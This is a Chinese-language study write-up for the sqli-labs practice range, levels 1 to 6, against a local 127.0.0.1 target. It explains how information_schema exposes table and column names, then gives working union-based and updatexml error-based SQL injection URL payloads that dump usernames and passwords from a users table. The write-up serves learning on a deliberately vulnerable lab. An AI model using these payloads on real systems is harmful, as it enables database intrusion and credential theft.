sqlilab本地靶场注入less-1~less-6

如何通过information_schema数据库查表名，列名

首先要了解mysql和mariadb数据库默认自带的tables有哪些：

mariadb自带数据库
 information_schema 
 performance_schema 
 mysql  

MySQL自带数据库
 information_schema 
 performance_schema 
 mysql  
 sys
 test(可选,默认自带)

其中information_schema可以查到表名，列名，了解其过程：

use information_schema;        #切换当前数据库为information_schema

show tables;        #查看当前数据库内的表名

information_schema中要注意这三个表：tables,columns,schemata

首先我们desc这三个表，查看其具体表结构

查看tables表内的table_name,table_schema,发现name包括了所有数据库的表名，schema包括了所有表的所属数据库名--重复的很多

select table_name from tables;

select table_schema from tables;

 同tables，columns表内的column_name包括了所有表的列名，table_name,table_schema相同

 我们再查看schemata表，发现schema_name中包括了所有的数据库名

 所以可以通过where table_schema='security'来进行精确查找某数据库(security)的表名

 也可以通过where table_schema='security' and table_name = 'users'来精确查找某数据库内某表的列名

 至此，表名列名我们都获得了，就可以查看某数据库内某张表的具体数据了

sql简单注入

 个人理解：在url中写入sql语句同时绕过闭合字符，让mysql在数据库内执行该语句既是sql注入

通过order by语句列名排序可以用数字来代替列名，同时让数字超过列名数量，从而达成报错，可以得知当前表的列数，比如less-1中列数为3

 通过联合查询(表1 union 表2)来查看显示字段的是第几列

#表1和表2必须列数相同，如果表1无法显示，则会显示表2

 select 1,2,3创建显示简单表，但是2,3这些数字可以用函数来代替，而且会显示该函数执行结果

 如上图，可获得当前数据库名和当前用户

Less-1:#'id' --闭合字符为'  '

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

#其中group_concat()函数能将一列数据在一行内显示

less-2:    #id 相比less-1，缺少了'的闭合,即没有闭合字符

http://127.0.0.1/sqli/Less-2/?id=0 union select 1,group_concat(username,0x3a,password),3 from users--+

less-3:    #('id')

http://127.0.0.1/sqli/Less-3/?id=0') union select 1,group_concat(username,0x3a,password),3 from users--+

less-4:    #(" id ")

http://127.0.0.1/sqli/Less-4/?id=0%22) union select 1,group_concat(username,0x3a,password),3 from users--+

less-5:    #'id' + 报错函数updatexml()可用

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+

#substr()函数可以显示一段字符串中，可以从哪个字符开始显示，往下显示多少个字符，从而解决updatexml()函数报错最多只能显示32个字符的问题

less-6:    #"id" + 报错函数可用

http://127.0.0.1/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+